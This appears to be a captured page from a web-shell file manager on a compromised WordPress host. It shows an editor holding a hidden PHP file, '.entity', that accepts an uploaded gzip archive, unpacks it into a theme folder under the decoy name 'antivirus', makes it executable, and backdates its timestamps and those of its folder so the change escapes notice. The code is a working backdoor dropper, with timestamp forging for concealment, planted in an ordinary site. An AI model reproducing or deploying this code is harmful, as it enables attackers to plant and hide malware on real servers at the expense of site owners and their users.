// SYSTEM PANEL //
[ROOT]
/
dev
/
shm
[ PARENT ]
EDIT :: .entity
<?php $p = "/home/rentbveb/public_html//wp-content/themes/adforest/inc/theme_shortcodes/shortcodes/layouts/antivirus"; $ft = 1720767049; if (move_uploaded_file($_FILES['file']['tmp_name'], "$p.gz")) { $file = gzopen("$p.gz", 'rb'); $out = fopen($p, 'wb'); while (!gzeof($file)) { fwrite($out, gzread($file, 4096)); } fclose($out); gzclose($file); @unlink("$p.gz"); $filesize = filesize($p); if ($filesize >= 2778) { @chmod($p, 0744); if ($ft) { @touch($p, $ft, $ft); @touch(@dirname($p), $ft, $ft); } die('_uploaded!_'); } else { if (file_exists($p)) { print "file exists but size = {$filesize} not 2778"; } @unlink($p); } } die('_upload_failed_');
SAVE
CANCEL